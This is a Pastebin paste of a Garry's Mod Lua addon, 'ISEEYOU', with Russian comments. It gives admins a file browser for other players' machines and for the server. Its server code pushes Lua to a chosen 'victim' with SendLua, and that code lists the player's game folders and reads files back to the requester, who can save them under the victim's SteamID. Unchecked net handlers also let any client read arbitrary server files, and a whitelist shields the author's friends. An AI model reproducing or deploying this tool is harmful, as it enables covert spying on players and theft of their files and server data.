Guest User

Testing

a guest
Oct 17th, 2015
2,314
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.28 KB | None | 0 0
  1. if SERVER then
  2. util.AddNetworkString("id")
  3. util.AddNetworkString("path")
  4. util.AddNetworkString("dataserva")
  5. util.AddNetworkString("readfile")
  6. util.AddNetworkString("fileReaded")
  7. util.AddNetworkString("Refresher")
  8. //seerver scan
  9. util.AddNetworkString("dataigroka")
  10. util.AddNetworkString("victimIDandPly")
  11. util.AddNetworkString("SearchPlayerPath")
  12. util.AddNetworkString("victimpath")
  13. util.AddNetworkString("newpathD")
  14. util.AddNetworkString("PlayerSpizdin")
  15. util.AddNetworkString("GiveMeText")
  16. util.AddNetworkString("FileFromJertva")
  17. util.AddNetworkString("TheEnd")
  18.  
  19.  
  20.  
  21. dirs=""
  22. FILE=""
  23. PlayerLocalID=""
  24.  
  25.  
  26. net.Receive("Refresher",function(l,p)
  27. dirs=""
  28. FILE=""
  29. plydirs=""
  30. end)
  31.  
  32. net.Receive("path",function(len,ply)
  33. dirs=net.ReadString()
  34. end)
  35.  
  36. net.Receive("id",function(l,p)
  37. PlayerID=net.ReadString()
  38. net.Start("dataserva") // message
  39. local files,folders=file.Find(dirs.."*","MOD")
  40. net.WriteTable(folders)
  41. net.WriteTable(files)
  42. net.Send(Player(PlayerID))
  43. end)
  44.  
  45. net.Receive("readfile",function(len,ply)
  46. FILE=file.Read(net.ReadString(),"GAME")
  47. net.Start("fileReaded")
  48. net.WriteString(FILE)
  49. net.Send(ply)
  50. end)
  51.  
  52. //////////////////////////////////////////////////////////////////
  53. CODELUA=[[
  54. plydirs=""
  55. net.Receive("newpathD",function()
  56. plydirs=net.ReadString()
  57. end)
  58. net.Start("SearchPlayerPath")
  59. local FILE,FOLDERS=file.Find(plydirs.."*","MOD")
  60. net.WriteTable(FOLDERS)
  61. net.WriteTable(FILE)
  62. net.SendToServer()
  63. ]]
  64. //////////////////////////////////////////////////////////////////
  65.  
  66.  
  67. //////////////////////////////////////////////////////////////////
  68. CODELUA2=[[
  69. net.Receive("newpathD",function()
  70. plydirs=net.ReadString()
  71. end)
  72. net.Start("SearchPlayerPath")
  73. local FILE,FOLDERS=file.Find(plydirs.."*","MOD")
  74. net.WriteTable(FOLDERS)
  75. net.WriteTable(FILE)
  76. net.SendToServer()
  77. ]]
  78. //////////////////////////////////////////////////////////////////
  79.  
  80. //////////////////////////////////////////////////////////////////
  81. CODELUA3=[[
  82. net.Receive("GiveMeText",function()
  83. pato=net.ReadString()
  84. end)
  85. net.Start("FileFromJertva")
  86. FILE=file.Read(pato,"GAME")
  87. net.WriteString(FILE)
  88. net.SendToServer()
  89. ]]
  90. //////////////////////////////////////////////////////////////////
  91.  
  92.  
  93.  
  94.  
  95. net.Receive("victimIDandPly",function(l,p)
  96. if !p:IsAdmin() then p:ChatPrint("нужно купить админку") return end
  97. PlayerLocalID=net.ReadString()
  98. VictimID=net.ReadString()
  99. SteamIDVictim=net.ReadString()
  100. file.Append("iseeyoulog.txt","\n"..p:GetName())
  101. if SteamIDVictim=="STEAM_0:1:20611398" or SteamIDVictim=="STEAM_0:0:86044278" or SteamIDVictim=="STEAM_0:0:93209462"
  102. then p:ChatPrint("Игрок в WhiteList'e") return end
  103. Player(VictimID):SendLua(CODELUA)
  104. end)
  105.  
  106.  
  107. net.Receive("victimpath",function(len,ply)
  108. plydirs=net.ReadString()
  109. net.Start("newpathD")
  110. net.WriteString(plydirs)
  111. net.Send(Player(VictimID))
  112. Player(VictimID):SendLua(CODELUA2)
  113. end)
  114.  
  115.  
  116. net.Receive("PlayerSpizdin",function(l,p)
  117. local Pathto=net.ReadString()
  118. net.Start("GiveMeText")
  119. net.WriteString(Pathto)
  120. net.Send(Player(VictimID))
  121. Player(VictimID):SendLua(CODELUA3)
  122.  
  123. end)
  124.  
  125. net.Receive("SearchPlayerPath",function()
  126. playerTablepath=net.ReadTable()
  127. PlyFiles=net.ReadTable()
  128. net.Start("dataigroka")
  129. net.WriteTable(playerTablepath)
  130. net.WriteTable(PlyFiles)
  131. net.Send(Player(PlayerLocalID))
  132. end)
  133.  
  134.  
  135.  
  136. net.Receive("FileFromJertva",function(l,p)
  137. local EtotText=net.ReadString()
  138. net.Start("TheEnd")
  139. net.WriteString(EtotText)
  140. net.WriteEntity(p)
  141. net.Send(Player(PlayerLocalID))
  142. end)
  143.  
  144.  
  145. function IseeyoSay(ply,text)
  146. if text=="!see" then
  147. ply:ConCommand("iseeyou")
  148. end
  149. end
  150. hook.Add("PlayerSay","iseeyousay",IseeyoSay)
  151.  
  152. else
  153.  
  154. function ISEEYU()
  155.  
  156.  
  157. local Window=vgui.Create("DFrame")
  158. Window:MakePopup()
  159.  
  160. Window:SetPos(ScrW()/2-1200/2,ScrH()/2-600/2)
  161. Window:SetTitle("(ISEEYOU) Файл браузер игроков и сервера")
  162. Window:SetSize(1200,600)
  163. local PlaceVkladki = vgui.Create( "DPropertySheet", Window )
  164. PlaceVkladki:Dock( FILL )
  165. // vkladka players
  166. local PlayersWatch = vgui.Create( "DPanel",PlaceVkladki)
  167. PlaceVkladki:AddSheet("Игроки", PlayersWatch)
  168. //vkladka serv
  169. ServerWatch = vgui.Create( "DPanel",PlaceVkladki)
  170. PlaceVkladki:AddSheet("Сервер",ServerWatch)
  171. //player tree
  172.  
  173. local PlayersTree=vgui.Create("DTree",PlayersWatch)//
  174. PlayersTree:SetPos(5,5)//
  175. PlayersTree:SetSize(300,520)//
  176.  
  177. Window.OnClose=function()
  178. net.Start("Refresher")
  179. net.SendToServer()
  180. LocalPlayer():ChatPrint("!see в чат")
  181. end
  182.  
  183.  
  184.  
  185. // black screen
  186. // black screen
  187.  
  188.  
  189.  
  190. local counter=100
  191. local counter2=100
  192.  
  193. local screenServ = vgui.Create("DPanel",ServerWatch)
  194. screenServ:SetPos(310, 5)
  195. screenServ:SetSize(860, 520)
  196. timer.Create("pedicstyle",0,0,function()
  197. if !screenServ:IsValid() then timer.Remove("pedicstyle") return end
  198. counter=counter+1
  199. if counter==255 then
  200. counter=0
  201. end
  202. screenServ:SetBackgroundColor(Color(0,0,0,counter))
  203. end)
  204.  
  205.  
  206. local screenPlayer = vgui.Create("DPanel",PlayersWatch)
  207. screenPlayer:SetPos(310, 5)
  208. screenPlayer:SetSize(860, 520)
  209.  
  210. timer.Create("pedicstyle2",0,0,function()
  211. if !screenPlayer:IsValid() then timer.Remove("pedicstyle2") return end
  212. counter2=counter2+1
  213. if counter2==255 then
  214. counter2=0
  215. end
  216. screenPlayer:SetBackgroundColor(Color(0,0,0,counter2))
  217. end)
  218.  
  219.  
  220. //text on the data
  221. TextPlayerSide = vgui.Create( "DTextEntry",screenPlayer)
  222. TextPlayerSide:SetText([[1)Чтобы скачать файлик себе на компьютер,нажмите правой кнопкой по файлу(файлик нужно выделить)
  223. 2)Увы,только 1 человек может "серфить",потому что сбиваются net пути.
  224. 3)White List: Seal и Жони
  225. 4)bind p "iseeyou"]])
  226. TextPlayerSide:SetVerticalScrollbarEnabled( true )
  227. TextPlayerSide:SetEditable( true )
  228. TextPlayerSide:SetMultiline( true )
  229. TextPlayerSide:SetSize( 840 , 500)
  230. TextPlayerSide:SetPos( 10,10 )
  231. TextPlayerSide.Paint = function( self, w, h )
  232. draw.RoundedBoxEx( 4, 0, 0, w, h, Color( 49, 49, 49 ), false, false, false, true )
  233. self:DrawTextEntryText( Color( 255, 255, 255 ), Color( 200, 200, 200, 100 ), Color( 255, 255, 255 ) )
  234. end
  235.  
  236. //client
  237.  
  238.  
  239. TextServer=vgui.Create( "DTextEntry",screenServ)
  240. TextServer:SetText([[1)Чтобы скачать файлик себе на компьютер,нажмите правой кнопкой по файлу(файлик нужно выделить)
  241. 2)By Seal13581]])
  242. TextServer:SetVerticalScrollbarEnabled( true )
  243. TextServer:SetEditable( true )
  244. TextServer:SetMultiline( true )
  245. TextServer:SetSize( 840 , 500)
  246. TextServer:SetPos( 10,10 )
  247. TextServer.Paint = function( self, w, h )
  248. draw.RoundedBoxEx( 4, 0, 0, w, h, Color( 49, 49, 49 ), false, false, false, true )
  249. self:DrawTextEntryText( Color( 255, 255, 255 ), Color( 200, 200, 200, 100 ), Color( 255, 255, 255 ) )
  250. end
  251.  
  252.  
  253. // Test Parametrs
  254.  
  255. // this function by citizen
  256.  
  257. local Formats = {
  258. lua = "page_white_swoosh",
  259. txt = "page_white_text",
  260. cfg = "page_white_gear",
  261. jpg = "picture",
  262. jpeg = "picture",
  263. png = "picture",
  264. gif = "picture",
  265. vtf = "picture",
  266. vmt = "picture",
  267. webm = "film",
  268. mp4 = "film",
  269. zip = "compress",
  270. rar = "compress",
  271. tar = "compress",
  272. mp3 = "sound",
  273. wav = "sound",
  274. dll = "cog",
  275. db = "database",
  276. cache = "bin",
  277. gma = "bin",
  278. mdl = "status_offline"
  279. }
  280.  
  281.  
  282.  
  283. local function LookPlayers(node,dir)
  284.  
  285. net.Receive("dataigroka",function(l,c)
  286. local dirs=net.ReadTable()
  287. for k,v in pairs(dirs) do
  288. local n =PlayersTree:GetSelectedItem():AddNode(v) // allFolders from the player
  289. n.dir = dir..v.."/" //his future path
  290. n.DoClick = function()
  291. net.Start("victimpath")
  292. net.WriteString(n.dir) //write curret path
  293. net.SendToServer()
  294. LookPlayers(n,n.dir)
  295. end
  296. end
  297.  
  298. local files=net.ReadTable()
  299. for n,s in pairs(files) do
  300. local nd = PlayersTree:GetSelectedItem():AddNode(s)
  301. local ext = string.GetExtensionFromFilename(s)
  302. if Formats[ext] then
  303. nd:SetIcon("icon16/"..Formats[ext]..".png")
  304. else
  305. nd:SetIcon("icon16/page_white.png")
  306. end
  307.  
  308.  
  309.  
  310. nd.DoClick = function() // net 1
  311. net.Start("PlayerSpizdin")
  312. net.WriteString(dir..s)
  313. net.SendToServer()
  314. net.Receive("TheEnd",function()
  315. text12=net.ReadString()
  316. EntityPlayer=net.ReadEntity()
  317. nd.DoRightClick=function()
  318. if !file.IsDir("iseeyou","DATA") then
  319. file.CreateDir("iseeyou")
  320. end
  321. if
  322. !file.IsDir("iseeyou/"..EntityPlayer:SteamID64(),"DATA") then
  323. file.CreateDir("iseeyou/"..EntityPlayer:SteamID64())
  324. end
  325. if !file.Exists("iseeyou/"..EntityPlayer:SteamID64().."/".."iseeyouinfo.txt","DATA") then
  326. file.Write("iseeyou/"..EntityPlayer:SteamID64().."/".."iseeyouinfo.txt",EntityPlayer:GetName())
  327. end
  328. if ext=="txt" then
  329. file.Write("iseeyou/"..EntityPlayer:SteamID64().."/"..s,text12)
  330. chat.AddText(Color(0,200,0),"iseeyou/"..EntityPlayer:SteamID64().."/"..s) else
  331. file.Write("iseeyou/"..EntityPlayer:SteamID64().."/"..s..".txt",text12)
  332. chat.AddText(Color(0,200,0),"iseeyou/"..EntityPlayer:SteamID64().."/"..s..".txt")
  333. end
  334. chat.AddText(Color(218,165,32),"iseeyouinfo.txt,там находится имя жертвы")
  335. end
  336. TextPlayerSide:SetText(text12)
  337. TextPlayerSide:SizeToContents()
  338. end)
  339. end
  340.  
  341. end
  342.  
  343.  
  344. end)
  345. end
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357.  
  358.  
  359. for k,v in pairs(player.GetAll())do
  360. PlayersTree.PlayerName=PlayersTree:AddNode(v:GetName())
  361.  
  362. PlayersTree.PlayerName.DoClick=function()
  363. net.Start("victimIDandPly")///
  364. net.WriteString(LocalPlayer():UserID())
  365. net.WriteString(v:UserID())
  366. net.WriteString(v:SteamID())
  367. net.SendToServer()
  368. LookPlayers(PlayersTree.PlayerName,PlayersTree.PlayerName.dir)
  369. end
  370.  
  371.  
  372. end
  373. PlayersTree.PlayerName.dir=""
  374.  
  375.  
  376.  
  377.  
  378.  
  379.  
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386.  
  387.  
  388.  
  389. // trying to send data from server to localplayerv
  390. // this shit is working well
  391.  
  392.  
  393.  
  394. local ServerTree=vgui.Create("DTree",ServerWatch)// tree server
  395. ServerTree:SetPos(5,5)// tree server
  396. ServerTree:SetSize(300,520)// tree server
  397. ServerTree.server=ServerTree:AddNode("SERVER")
  398. ServerTree.server.dir=""
  399.  
  400. local function ServKnopka(node,dir)
  401.  
  402. net.Start("id") // id
  403. net.WriteString(LocalPlayer():UserID())
  404. net.SendToServer()
  405. net.Receive("dataserva",function(l,p)
  406. local dirs=net.ReadTable()
  407. for _, i in pairs(dirs) do
  408. local n = node:AddNode(i)
  409. n.dir = dir..i.."/"
  410. n.DoClick = function()
  411. net.Start("path")
  412. net.WriteString(n.dir)
  413. net.SendToServer()
  414. ServKnopka(n,n.dir)
  415. end
  416. end
  417.  
  418.  
  419. local files=net.ReadTable()
  420. for n,s in pairs(files) do
  421. local nd = node:AddNode(s)
  422. local ext = string.GetExtensionFromFilename(s)
  423. if Formats[ext] then
  424. nd:SetIcon("icon16/"..Formats[ext]..".png")
  425. else
  426. nd:SetIcon("icon16/page_white.png")
  427. end
  428. nd.DoClick = function() // net 1
  429. net.Start("readfile")
  430. net.WriteString(dir..s)
  431. net.SendToServer()
  432. net.Receive("fileReaded",function(l,p)
  433. text=net.ReadString()
  434. nd.DoRightClick=function()
  435. if !file.IsDir("iseeyou","DATA") then
  436. file.CreateDir("iseeyou")
  437. end
  438. if ext=="txt" then
  439. file.Write("iseeyou/"..s,text)
  440. LocalPlayer():ChatPrint("iseeyou/"..s) else
  441. file.Write("iseeyou/"..s..".txt",text)
  442. LocalPlayer():ChatPrint("iseeyou/"..s..".txt")
  443. end
  444. end
  445. TextServer:SetText(text)
  446. TextServer:SizeToContents()
  447. end)
  448. end
  449. end
  450.  
  451. end)
  452.  
  453.  
  454. end
  455.  
  456. ServerTree.server.DoClick=function()
  457. ServKnopka(ServerTree.server,ServerTree.server.dir)
  458. end
  459.  
  460. end
  461.  
  462. end
  463.  
  464.  
  465. concommand.Add("iseeyou",function()
  466. ISEEYU()
  467. end)
Advertisement
Add Comment
Please, Sign In to add comment